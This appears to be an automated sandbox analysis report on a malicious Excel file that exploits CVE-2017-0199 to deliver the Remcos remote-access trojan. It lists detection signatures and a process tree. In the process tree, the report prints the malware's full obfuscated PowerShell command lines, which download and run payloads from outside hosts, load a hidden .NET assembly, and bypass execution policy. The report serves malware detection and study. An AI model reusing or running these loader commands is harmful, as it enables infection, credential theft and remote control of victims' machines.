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Windows
Analysis Report
OC25-11-24.xls
Overview
General Information
| Sample name: | OC25-11-24.xls |
| Analysis ID: | 1562330 |
| MD5: | d923dc9f1abd640e545d1992bef70fb4 |
| SHA1: | 1c69fd2c258f80163dde3aa3b6e96ae9b4a42fa1 |
| SHA256: | 7f8c3780744584bc15d10cd35195cad98506691e51f75714f35a295e7d4ed638 |
| Tags: | cve-2017-0199exploitxlsuser-nfsec_pl |
| Infos: |   |
 | |
Detection
Remcos, HTMLPhisher
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected HtmlPhish44
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for sample
Maps a DLL or memory area into another process
Microsoft Office drops suspicious files
Obfuscated command line found
PowerShell case anomaly found
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 3356 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
mshta.exe (PID: 3652 cmdline: C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) 
powershell.exe (PID: 3760 cmdline: "C:\Window s\sYSTeM32 \WinDowSPO WeRSHelL\V 1.0\PoWers Hell.Exe" "pOWerSHeL L.EXe -Ex BypasS -noP -W 1 -c dEVICecR EDEntIAlDE plOymENT.e xE ; iEx ($(Iex('[s YsTEm.TEXt .ENCodinG] '+[ChAr]0X 3A+[Char]0 x3A+'uTf8. GetSTRiNg( [SYSTeM.Co nveRt]'+[C HAr]0x3a+[ ChAR]0X3A+ 'FROMBASE6 4StRING('+ [cHaR]0x22 +'JHZiS3ky VzJoWiAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC A9ICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIGFk ZC1UeXBFIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIC1tRU1C RVJEZUZJbm l0aU9uICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICdbRGxsSW 1wb3J0KCJ1 ckxtT24iLC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICBDaGFy U2V0ID0gQ2 hhclNldC5V bmljb2RlKV 1wdWJsaWMg c3RhdGljIG V4dGVybiBJ bnRQdHIgVV JMRG93bmxv YWRUb0ZpbG UoSW50UHRy ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIG1hS2 9BY2gsc3Ry aW5nICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIH NNTlFvZnJs UUUsc3RyaW 5nICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIGha dFZYTk9QLH VpbnQgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg VExxUHptVS xJbnRQdHIg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgUHRMKT snICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIC1O QU1FICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC J1QUl0R1Yi ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1OYW 1lU3BhY2Ug ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgc2lsZG JGTiAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAt UGFzc1Rocn U7ICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICR2 Ykt5MlcyaF o6OlVSTERv d25sb2FkVG 9GaWxlKDAs Imh0dHA6Ly 8xNzIuMjM0 LjIwNS4xMz UvMTI0NC9j cmVhdGdvb2 RpZGVhZm9y ZnV0dXJlYn VzaW5lc3Nk ZXZlbG9wd2 l0aG5pY2V0 aGluZ3NnZX RiYWNrb24u dElGIiwiJE VOVjpBUFBE QVRBXGNyZW F0Z29vZGlk ZWFmb3JmdX R1cmVidXNp bmVzc2Rldm Vsb3B3aXRo bmljZXRoaW 4udkJzIiww LDApO3N0QV JULVNsRWVw KDMpO0lFeC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAiJEVu VjpBUFBEQV RBXGNyZWF0 Z29vZGlkZW Fmb3JmdXR1 cmVidXNpbm Vzc2RldmVs b3B3aXRobm ljZXRoaW4u dkJzIg=='+ [ChAR]0x22 +'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3892 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Ex BypasS -noP -W 1 -c dEVICe cREDEntIAl DEplOymENT .exE MD5: A575A7610E5F003CC36DF39E07C4BA7D) 
csc.exe (PID: 3992 cmdline: "C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\b53lag 2c\b53lag2 c.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 4000 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES3100.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\b53 lag2c\CSCF F6E95784C8 4671B5586A 4811C47.TM P" MD5: C877CBB966EA5939AA2A17B6A5160950) 
wscript.exe (PID: 4084 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\creat goodideafo rfuturebus inessdevel opwithnice thin.vBs" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 2776 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCgnbkVyaW 1hZ2VVcmwg PSBaTTVodH RwczovLzMx MDUuZmlsZW 1haWwuY29t L2FwaS9maW xlL2dldD9m aWwnKydla2 V5PXNoVFBI YkNQWDhvLW xPdENxSExH Nl8weEN5LX hsNHRueGxB VmJROScrJz UtJysnZHZp VEs1Y0FSYU 5kUScrJ2pi YjNtZXhmd1 F6S21UWGcn Kycmc2tpcH JlZz10cnVl JnBrX3ZpZC crJz1lMDEw OTYzOGM5Ym ZiOTU3MTcz MjUzMTMwOW I1ZmY3YyBa JysnTTU7bk Vyd2UnKydi Q2xpZW50ID 0gTmV3LU9i amVjdCBTeX N0ZW0uTmV0 LldlYkMnKy dsaWVudDtu RXJpbWFnZU J5dGVzID0g bkVyd2ViQ2 xpZW50LkRv d25sb2FkRG F0YSgnKydu RXJpbWFnZV VybCk7bkVy aW1hZ2VUZX h0ID0gWycr J1N5c3RlbS 5UZXh0LkVu Y29kaW5nXT o6VVRGOC5H ZXRTdHInKy dpbmcobkVy aW1hZ2VCeS crJ3Rlcyk7 bkVyc3Rhcn RGbGFnID0n KycgWk01PD xCQVNFNjRf U1RBUlQ+Pl pNNScrJztu RXJlbmRGbG FnID0gWk01 PDxCQVNFNj RfJysnRU5E Pj5aTTU7bk Vyc3RhcnRJ bmRleCA9IG 5FcmltYWdl VGV4JysndC 5JbmRleE9m KG5FcnN0YX J0RmxhZyk7 bkVyZW5kSW 5kJysnZXgg PSBuRXJpbW FnZVRleHQu SW5kZXhPZi gnKyduRXJl bmRGbGFnKT tuRScrJ3Jz dGFydEluJy snZGV4IC1n ZSAwIC1hbm QgbkVyZW5k SW5kZXggLW d0IG5FcnN0 YXJ0SW5kZX g7bkVyc3Rh cnRJbmRleC ArPSBuRXJz dGFydEZsYW cuTGVuZ3Ro O25FcmJhc2 U2NCcrJ0wn Kydlbmd0aC A9IG5FcmVu ZEluZGUnKy d4IC0gbkVy c3RhJysncn RJbmRleDtu RXJiYXNlNj RDb21tYW5k ID0gbkVyaW 1hZ2VUZXh0 LlN1YnN0cm luZyhuRXJz dGFydEluZG V4LCBuRXJi YXNlNjRMZW 5ndGgnKycp O25FcmJhc2 U2NFJldmVy c2VkID0gLW pvaW4gKG5F cmJhJysnc2 U2NENvbW1h bmQuVG9DaG FyQXJyYXko KSBKSTYgRm 9yRWFjaCcr Jy1PYmplY3 QgeyBuRXJf IH0pWy0xLi 4tKG5FcmJh c2U2NENvbW 1hbmQuTGVu Z3RoKV07bk VyY29tbWFu ZEJ5dGVzID 0gW1N5c3Rl bS5Db252ZX J0XTo6Jysn RnJvbUJhcy crJ2U2NFN0 cmluZyhuRX JiYXNlNjRS ZXZlcnNlZC k7bkVybG9h ZGVkQXNzZW 1ibHkgPSBb U3lzdGVtLl JlZmxlY3Rp b24uQXNzZW 1ibHldOjpM b2FkKG5Fcm NvbW1hbmRC eXRlcyk7bk VydmFpTWV0 aG9kID0gW2 RubGliLklP LkhvbWVdLk dldE1ldGhv ZCcrJyhaTT VWQUlaTTUp O25FcnZhaU 1ldGhvZC5J bnZva2Uobk VybnVsbCwg QChaTTV0eH QuUlNSVlJT LycrJzQ0Mj EvNTMxLjUn KycwMi40Mz IuMjcxLy86 cHR0aFpNNS wgWk01Jysn ZGVzYXRpdm Fkb1pNNSwg Wk01ZGVzYX RpdmFkb1pN NSwgWk01ZG VzYXRpdmFk b1pNJysnNS wgWk01Q2Fz UG9sWk01LC BaTTVkZXNh dGl2YWRvWk 01LCBaTTVk ZXNhdGl2YW RvWk01LFpN NWRlc2F0aX ZhZG9aTTUs WicrJ001ZG VzYXRpdmFk b1onKydNNS xaTTVkZXNh dGl2YWRvJy snWk0nKyc1 LFpNNWRlc2 F0aXZhZG9a TTUsWk01ZG VzYXRpdmFk Jysnb1pNNS crJyxaTTUx Wk01LFpNNW Rlc2F0aXZh ZG9aTTUpKT snKSAgLVJl UGxhY0UgIC hbY2hhcl0x MTArW2NoYX JdNjkrW2No YXJdMTE0KS xbY2hhcl0z Ni1DUmVwbE FjRSAgJ1pN NScsW2NoYX JdMzkgIC1S ZVBsYWNFKF tjaGFyXTc0 K1tjaGFyXT czK1tjaGFy XTU0KSxbY2 hhcl0xMjQp fCYgKCAkcF NIT01FWzRd KyRQU2hPTU VbMzBdKyd4 Jyk=';$OWj uxd = [sys tem.Text.e ncoding]:: UTF8.GetSt ring([syst em.Convert ]::Frombas e64String( $codigo)); powershell .exe -wind owstyle hi dden -exec utionpolic y bypass - NoProfile